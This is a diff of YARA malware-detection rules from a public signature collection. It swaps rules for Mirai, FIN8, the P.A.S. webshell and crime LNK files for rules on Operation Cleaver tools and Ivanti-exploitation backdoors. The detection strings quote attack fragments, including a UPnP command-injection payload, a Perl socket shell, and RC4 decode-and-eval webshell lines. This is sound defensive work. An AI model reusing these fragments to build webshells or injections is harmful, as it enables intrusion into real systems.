-		$s2 = "loadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>" fullword ascii
-		$s3 = "POST /cdn-cgi/" ascii
+		$s1 = "mimikatzWrapper"
+		$s2 = "get_mimikatz"
 
 	condition:
-		uint16(0)==0x457f and filesize <200KB and ((1 of ($x*) and 1 of ($s*)) or all of ($x*))
+		all of them
 }
-rule SIGNATURE_BASE_MAL_ELF_LNX_Mirai_Oct10_2 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Pvz_In
 {
 	meta:
-		description = "Detects ELF malware Mirai related"
-		author = "Florian Roth (Nextron Systems)"
-		id = "421b7708-030e-50d1-bf2e-e91758a48c00"
-		date = "2018-10-27"
+		description = "Parviz tool used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "dede12b3-f1dd-58ba-a860-829b2331b740"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mirai.yar#L124-L138"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "47d20bdf64c18c925dc1391b022278f913b7fbce13988a7b5de2e9d135c5a265"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L222-L236"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "eae778162be5dcfa0005bb237c5209e7103db3549e06706744f9ebdf04e192df"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9"
+		tags = ""
 
 	strings:
-		$c01 = { 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00
-               20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D
-               41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A }
+		$s1 = "LAST_TIME=00/00/0000:00:00PM$"
+		$s2 = "if %%ERRORLEVEL%% == 1 GOTO line"
 
 	condition:
-		uint16(0)==0x457f and filesize <200KB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_MAL_Mirai_Nov19_1 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Pvz_Out
 {
 	meta:
-		description = "Detects Mirai malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "40edcb29-9e10-5b87-ba79-8e3f629829e5"
-		date = "2019-11-13"
+		description = "Parviz tool used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "46b51bff-dfd9-5f56-897c-422112bc837b"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/bad_packets/status/1194049104533282816"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mirai.yar#L140-L157"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e1202a9cd445c590c359a9c93e635292f8cf7f09291f4d8504ad9ce6679f6a47"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L238-L252"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "849300c32d2df42a011386903495d271810fd8a40c76d1a0c6295c059deb3a05"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "bbb83da15d4dabd395996ed120435e276a6ddfbadafb9a7f096597c869c6c739"
-		hash2 = "fadbbe439f80cc33da0222f01973f27cce9f5ab0709f1bfbf1a954ceac5a579b"
+		tags = ""
 
 	strings:
-		$s1 = "SERVZUXO" fullword ascii
-		$s2 = "-loldongs" fullword ascii
-		$s3 = "/dev/null" fullword ascii
-		$s4 = "/bin/busybox" fullword ascii
-		$sc1 = { 47 72 6F 75 70 73 3A 09 30 }
+		$s1 = "Network Connectivity Module" wide
+		$s2 = "OSPPSVC" wide
 
 	condition:
-		uint16(0)==0x457f and filesize <=100KB and 4 of them
+		all of them
 }
-rule SIGNATURE_BASE_MAL_ARM_LNX_Mirai_Mar13_2022 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Wndtest
 {
 	meta:
-		description = "Detects new ARM Mirai variant"
-		author = "Mehmet Ali Kerimoglu a.k.a. CYB3RMX"
-		id = "54d8860e-fc45-5571-b68c-66590c67a705"
-		date = "2022-03-16"
+		description = "Backdoor used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "f8daa0a8-f0f0-5bf7-b9ab-eaf5335ff2b9"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mirai.yar#L159-L181"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a44a6174a198a658c8a5e2da50192da20bae7f8ed4e4f212c9eebb29fa4b0dd0"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L254-L269"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3b29c2b92b816bd0559695cb6b0b6e050ca8c5e256ec92448535fe9edf20757f"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		hash1 = "0283b72913b8a78b2a594b2d40ebc3c873e4823299833a1ff6854421378f5a68"
+		tags = ""
 
 	strings:
-		$str1 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
-		$str2 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm/lib1funcs.asm"
-		$str3 = "/home/landley/aboriginal/aboriginal/build/temp-armv6l/gcc-core/gcc/config/arm"
-		$str4 = "/home/landley/aboriginal/aboriginal/build/simple-cross-compiler-armv6l/bin/../cc/include"
-		$attck1 = "attack.c"
-		$attck2 = "attacks.c"
-		$attck3 = "anti_gdb_entry"
-		$attck4 = "resolve_cnc_addr"
-		$attck5 = "attack_gre_eth"
-		$attck6 = "attack_udp_generic"
-		$attck7 = "attack_get_opt_ip"
-		$attck8 = "attack_icmpecho"
+		$s1 = "[Alt]" wide
+		$s2 = "<< %s >>:" wide
+		$s3 = "Content-Disposition: inline; comp=%s; account=%s; product=%d;"
 
 	condition:
-		uint16(0)==0x457f and (3 of ($str*) or 4 of ($attck*))
+		all of them
 }
-rule SIGNATURE_BASE_Shellcode_Apihashing_FIN8_1
+rule SIGNATURE_BASE_OPCLEAVER_Zhcat
 {
 	meta:
-		description = "Detects FIN8 Shellcode APIHashing"
-		author = "Frank Boldewin (@r3c0nst)"
-		id = "bca5601c-2998-545b-8dd0-ec3c861e6291"
-		date = "2021-03-16"
+		description = "Network tool used by Iranian hackers and used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "e1f1bc48-b895-5e23-8ffd-b6ea9c8eb26f"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_fin8.yar#L1-L19"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d47119a588aa69b3e241618d6dbb9df6117a6751bbff39a1f95340bc26611a7"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L271-L285"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef5112532ba62cb2cf6a1c62b344d9146c5b8e2da50990c8cfd60d91b99bcb5e"
+		score = 70
 		quality = 85
 		tags = ""
 
 	strings:
-		$APIHashing32bit1 = {81 F7 99 5D 52 69 81 F3 30 D7 00 AB}
-		$APIHashing32bit2 = {68 F2 55 03 88 68 65 19 6D 1E}
-		$APIHashing32bit3 = {68 9B 59 27 21 C1 E9 17 33 4C 24 10 68 37 5C 32 F4}
-		$APIHashing64bit1 = {49 BF 65 19 6D 1E F2 55 03 88 49 BE 37 5C 32 F4 9B 59 27 21}
-		$APIHashing64bit2 = {48 B8 99 5D 52 69 30 D7 00 AB}
+		$s1 = "Mozilla/4.0 ( compatible; MSIE 7.0; AOL 8.0 )" ascii fullword
+		$s2 = "ABC ( A Big Company )" wide fullword
 
 	condition:
-		all of ($APIHashing32bit*) or all of ($APIHashing64bit*)
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_BKDR_Snarasite_Oct17 : FILE
+rule SIGNATURE_BASE_OPCLEAVER_Zhlookup
 {
 	meta:
-		description = "Auto-generated rule"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3a5d156a-529b-52ae-9b6a-d454895eb1fb"
-		date = "2017-10-07"
+		description = "Hack tool used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "45ef9a90-db4c-59c3-b694-da3f539b118b"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_snarasite.yar#L3-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "79f49bce6de996d20b64476feb73987fdcd7555963ea1a596648d8702fbd2898"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L287-L300"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9cc476e016708fd1604a63e2391057dc9dd0865448b62742ec596d6de54bf8f6"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "36ba92cba23971ca9d16a0b4f45c853fd5b3108076464d5f2027b0f56054fd62"
+		tags = ""
+
+	strings:
+		$s1 = "zhLookUp.Properties"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <3000KB and (pe.imphash()=="322bef04e1e1ac48875036e38fb5c23c" or pe.imphash()=="15088754757513c92fa36ba5590e907b")
+		all of them
 }
-rule SIGNATURE_BASE_MAL_CRIME_Suspicious_Hex_String_Jun21_1 : CRIME PE FILE
+rule SIGNATURE_BASE_OPCLEAVER_Zhmimikatz
 {
 	meta:
-		description = "Triggers on parts of a big hex string available in lots of crime'ish PE files."
-		author = "Nils Kuhnert"
-		id = "2ad208fa-c7a5-5df9-96fe-4a84dc770f0f"
-		date = "2021-06-04"
+		description = "Mimikatz wrapper used by attackers in Operation Cleaver"
+		author = "Cylance Inc."
+		id = "fba8ab6e-3b61-53a1-b4df-178442e3cf24"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_crime_unknown.yar#L1-L16"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "73144b14f3aa1a1d82df7710fa47049426bfbddeef75e85c8a0a559ad6ed05a3"
-		score = 65
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L302-L316"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1d6ce5b3351d4b01abe0c2f614d002d4e96599b4bfa01138704a3fdf345d0786"
+		score = 70
 		quality = 85
-		tags = "CRIME, PE, FILE"
-		hash1 = "37d60eb2daea90a9ba275e16115848c95e6ad87d20e4a94ab21bd5c5875a0a34"
-		hash2 = "3380c8c56d1216fe112cbc8f1d329b59e2cd2944575fe403df5e5108ca21fc69"
-		hash3 = "cd283d89b1b5e9d2875987025009b5cf6b137e3441d06712f49e22e963e39888"
-		hash4 = "404efa6fb5a24cd8f1e88e71a1d89da0aca395f82d8251e7fe7df625cd8e80aa"
-		hash5 = "479bf3fb8cff50a5de3d3742ab4b485b563b8faf171583b1015f80522ff4853e"
+		tags = ""
 
 	strings:
-		$a1 = "07032114130C0812141104170C0412147F6A6A0C041F321104130C0412141104030C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141104130C0412141122130C0412146423272A711221112B1C042734170408622513143D20262B0F323038692B312003271C170B3A2F286623340610241F001729210579223202642200087C071C17742417020620141462060F12141104130C0412141214001C0412011100160C0C002D2412130C0412141104130C04121A11041324001F140122130C0134171" ascii
+		$s1 = "MimikatzRunner"
+		$s2 = "zhmimikatz"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <10MB and all of them
+		all of them
 }
-rule SIGNATURE_BASE_MAL_CRIME_Unknown_LNK_Jun21_1 : LNK POWERSHELL FILE
+rule SIGNATURE_BASE_OPCLEAVER_Parviz_Developer
 {
 	meta:
-		description = "Triggers on malicious link files which calls powershell with an obfuscated payload and downloads an HTA file."
-		author = "Nils Kuhnert"
-		id = "d1aac420-fd91-5577-8efd-fcdd7f733981"
-		date = "2021-06-04"
+		description = "Parviz developer known from Operation Cleaver"
+		author = "Florian Roth (Nextron Systems)"
+		id = "2bfa90a0-0495-5b21-98f7-5ed7ebc74b2d"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_crime_unknown.yar#L18-L33"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "460e764cbd9fbfa1a2156059d0042a0bea5a939d501050a733a789d236015d37"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L318-L332"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ae043ee5baa7361def79811350317baf54eb76cf15001a7785808dc7947fddc"
+		score = 70
 		quality = 85
-		tags = "LNK, POWERSHELL, FILE"
-		hash1 = "8fc7f25da954adcb8f91d5b0e1967e4a90ca132b280aa6ae73e150b55d301942"
-		hash2 = "f5da192f4e4dfb6b728aee1821d10bec6d68fb21266ce32b688e8cae7898a522"
-		hash3 = "183a9b3c04d16a1822c788d7a6e78943790ee2cdeea12a38e540281091316e45"
-		hash4 = "a38c6aa3e1c429a27226519b38f39f03b0b1b9d75fd43cd7e067c5e542967afe"
-		hash5 = "455f7b6b975fb8f7afc6295ec40dae5696f5063d1651f3b2477f10976a3b67b2"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
+		$s1 = "Users\\parviz\\documents\\" nocase
 
 	condition:
-		uint16(0)==0x004c and all of them
+		$s1
 }
-rule SIGNATURE_BASE_MAL_CRIME_Unknown_ISO_Jun21_1 : ISO POWERSHELL LNK FILE
+rule SIGNATURE_BASE_OPCLEAVER_Ccproxy_Config
 {
 	meta:
-		description = "Triggers on ISO files that mimick NOBELIUM TTPs, but uses LNK files that call powershell instead."
-		author = "Nils Kuhnert"
-		id = "73a1fc44-45c4-5253-b81d-fa6686dc0644"
-		date = "2021-06-04"
+		description = "CCProxy config known from Operation Cleaver"
+		author = "Florian Roth (Nextron Systems)"
+		id = "c4d80a2a-2a32-585e-bc20-1c5118e4ee48"
+		date = "2014-12-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_crime_unknown.yar#L35-L50"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "49b61f498d3f4ee249d9687277e581a39e08ebb4e1a293170058fb5f770bde1f"
-		score = 75
+		reference = "http://cylance.com/assets/Cleaver/Cylance_Operation_Cleaver_Report.pdf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_op_cleaver.yar#L334-L352"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6e5c1c75a499434ad6ddd2439d28ac91d500b18418e693761d0b236bf6d6ce42"
+		score = 70
 		quality = 85
-		tags = "ISO, POWERSHELL, LNK, FILE"
-		hash1 = "425dbed047dd2ce760d0848ebf7ad04b1ca360f111d557fc7bf657ae89f86d36"
-		hash2 = "f6944b6bca627e219d9c5065f214f95eb2226897a3b823b645d0fd78c281b149"
-		hash3 = "14d70a8bdd64e9a936c2dc9caa6d4506794505e0e3870e3a25d9d59bcafb046e"
-		hash4 = "9b2ca8eb6db34b07647a74171a5ff4c0a2ca8000da9876ed2db6361958c5c080"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$uid = "S-1-5-21-1437133880-1006698037-385855442-1004" wide
-		$magic = "CD001" ascii
+		$s1 = "UserName=User-001" fullword ascii
+		$s2 = "Web=1" fullword ascii
+		$s3 = "Mail=1" fullword ascii
+		$s4 = "FTP=0" fullword ascii
+		$x1 = "IPAddressLow=78.109.194.114" fullword ascii
 
 	condition:
-		filesize <5MB and all of them
+		all of ($s*) or $x1
 }
-rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell : FILE
+rule SIGNATURE_BASE_APT_UNC5221_Ivanti_Forensicartifacts_Jan24_1 : FILE
 {
 	meta:
-		description = "Detects P.A.S. PHP webshell - Based on DHS/FBI JAR-16-2029 (Grizzly  Steppe)"
-		author = "FR/ANSSI/SDO (modified by Florian Roth)"
-		id = "862aab77-936e-524c-8669-4f48730f4ed5"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L10-L28"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "977ee0fdf0e92ccea6b71fea7b2c7aed2965c6966d8af86230ccb0f95b286694"
-		score = 70
+		description = "Detects forensic artifacts found in the Ivanti VPN exploitation campaign by APT UNC5221"
+		author = "Florian Roth"
+		id = "49ba2a96-379d-5a58-979d-45e83fa546e7"
+		date = "2024-01-11"
+		modified = "2024-04-24"
+		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_report_ivanti_mandiant_jan24.yar#L2-L16"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "7f485f41072f5584dc76e71564e13066d9fe41685f33bff9c2886fa7d2155f94"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$php = "<?php"
-		$strreplace = "(str_replace("
-		$md5 = ".substr(md5(strrev($"
-		$gzinflate = "gzinflate"
-		$cookie = "_COOKIE"
-		$isset = "isset"
+		$x1 = "system(\"chmod a+x /home/etc/sql/dsserver/sessionserver.sh\");"
+		$x2 = "SSH-2.0-OpenSSH_0.3xx."
+		$x3 = "sed -i '/retval=$(exec $installer $@)/d' /pkg/do-install"
 
 	condition:
-		( filesize >20KB and filesize <200KB) and all of them
+		filesize <5MB and 1 of them
 }
-rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell_Ziparchivefile
+rule SIGNATURE_BASE_M_Hunting_Backdoor_ZIPLINE_1 : FILE
 {
 	meta:
-		description = "Detects an archive file created by P.A.S. for download operation"
-		author = "FR/ANSSI/SDO (modified by Florian Roth)"
-		id = "081cc65b-e51c-59fc-a518-cd986e8ee2f7"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L30-L42"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c15e7022f45ec211ba635d6cd31bab16f4fb0d3038fb19d5765e0f751c14a826"
-		score = 80
+		description = "This rule detects unique strings in ZIPLINE, a passive ELF backdoor that waits for incoming TCP connections to receive commands from the threat actor."
+		author = "Mandiant"
+		id = "753884d6-d4c1-5e94-9d2c-f6ebb7bfaf85"
+		date = "2024-01-11"
+		modified = "2024-04-24"
+		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_report_ivanti_mandiant_jan24.yar#L18-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "41857ba465dd1f2e1aa8c1eed36b73606385eeedf233fd480bb8a4ef15499174"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$s1 = "Archive created by P.A.S. v."
+		$s1 = "SSH-2.0-OpenSSH_0.3xx" ascii
+		$s2 = "$(exec $installer $@)" ascii
+		$t1 = "./installer/do-install" ascii
+		$t2 = "./installer/bom_files/" ascii
+		$t3 = "/tmp/data/root/etc/ld.so.preload" ascii
+		$t4 = "/tmp/data/root/home/etc/manifest/exclusion_list" ascii
 
 	condition:
-		$s1
+		uint32(0)==0x464c457f and filesize <5MB and ((1 of ($s*)) or (3 of ($t*)))
 }
-rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell_Perlnetworkscript : FILE
+rule SIGNATURE_BASE_M_Hunting_Dropper_WIREFIRE_1 : FILE
 {
 	meta:
-		description = "Detects PERL scripts created by P.A.S. webshell"
-		author = "FR/ANSSI/SDO"
-		id = "1625b63f-ead7-5712-92b4-0ce6ecc49fd4"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L44-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b170c07a005e737c8069f2cc63f869d4d3ff6593b3bfca5bcaf02d7808da6852"
-		score = 90
+		description = "This rule detects WIREFIRE, a web shell written in Python that exists as trojanized logic to a component of the pulse secure appliance."
+		author = "Mandiant"
+		id = "051244f0-00b1-5a4b-8c81-f4ce6f1aa22a"
+		date = "2024-01-11"
+		modified = "2024-04-24"
+		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_report_ivanti_mandiant_jan24.yar#L40-L58"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "6de651357a15efd01db4e658249d4981"
+		logic_hash = "c389a666bd093cdd7700385da43c8fa58b9f3d899e658c516df0f3aca439401d"
+		score = 75
 		quality = 85
 		tags = "FILE"
 
 	strings:
-		$pl_start = "#!/usr/bin/perl\n$SIG{'CHLD'}='IGNORE'; use IO::Socket; use FileHandle;"
-		$pl_status = "$o=\" [OK]\";$e=\" Error: \""
-		$pl_socket = "socket(SOCKET, PF_INET, SOCK_STREAM,$tcp) or die print \"$l$e$!$l"
-		$msg1 = "print \"$l OK! I\\'m successful connected.$l\""
-		$msg2 = "print \"$l OK! I\\'m accept connection.$l\""
+		$s1 = "zlib.decompress(aes.decrypt(base64.b64decode(" ascii
+		$s2 = "aes.encrypt(t+('\\x00'*(16-len(t)%16))" ascii
+		$s3 = "Handles DELETE request to delete an existing visits data." ascii
+		$s4 = "request.data.decode().startswith('GIF'):" ascii
+		$s5 = "Utils.api_log_admin" ascii
 
 	condition:
-		filesize <6000 and ($pl_start at 0 and all of ($pl*)) or any of ($msg*)
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_PAS_Webshell_Sqldumpfile
+rule SIGNATURE_BASE_M_Hunting_Webshell_LIGHTWIRE_2 : FILE
 {
 	meta:
-		description = "Detects SQL dump file created by P.A.S. webshell"
-		author = "FR/ANSSI/SDO"
-		id = "4c26feeb-3031-5c91-9eeb-4b5fe9702e39"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L64-L76"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c34abcada22fdf462fd66cc2da18ab9e54215defc6f7a7a95b5a80d1155a2ffe"
-		score = 90
+		description = "Detects LIGHTWIRE based on the RC4 decoding and execution 1-liner."
+		author = "Mandiant (modified by Florian Roth)"
+		id = "9451da63-c68e-51e8-b4b1-c3082d46fbf6"
+		date = "2024-01-11"
+		modified = "2024-01-12"
+		reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_report_ivanti_mandiant_jan24.yar#L60-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "3d97f55a03ceb4f71671aa2ecf5b24e9"
+		logic_hash = "37b22a6c45dd53bc7b3f0c75cc5072e990246fea24591d192176c0b496e92084"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 
 	strings:
-		$ = "-- [ SQL Dump created by P.A.S. ] --"
+		$s1 = "eval{my"
+		$s2 = "Crypt::RC4->new(\""
+		$s3 = "->RC4(decode_base64(CGI::param('"
+		$s4 = ";eval $"
+		$s5 = "\"Compatibility check: $@\";}"
 
 	condition:
-		1 of them
+		filesize <10KB and all of them
 }
-rule SIGNATURE_BASE_APT_MAL_Sandworm_Exaramel_Configuration_Key
+rule SIGNATURE_BASE_M_Hunting_Dropper_THINSPOOL_1 : FILE
 {
 	meta:
-		description = "Detects the encryption key for the configuration file used by Exaramel malware as seen in sample e1ff72[...]"
-		author = "FR/ANSSI/SDO"
-		id = "8078de62-3dd2-5ee0-8bda-f508e4013144"
-		date = "2021-02-15"
-		modified = "2024-05-25"
-		reference = "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sandworm_centreon.yar#L78-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "056503a2c240a641cd2292a30ab1090e3a358cb4d57dca83b836ecb1bc62ed6b"
-		score = 80
+		description = "This rule detects THINSPOOL, a dropper that installs the LIGHTWIRE web shell onto a Pulse Secure system."
+		author = "Mandiant"
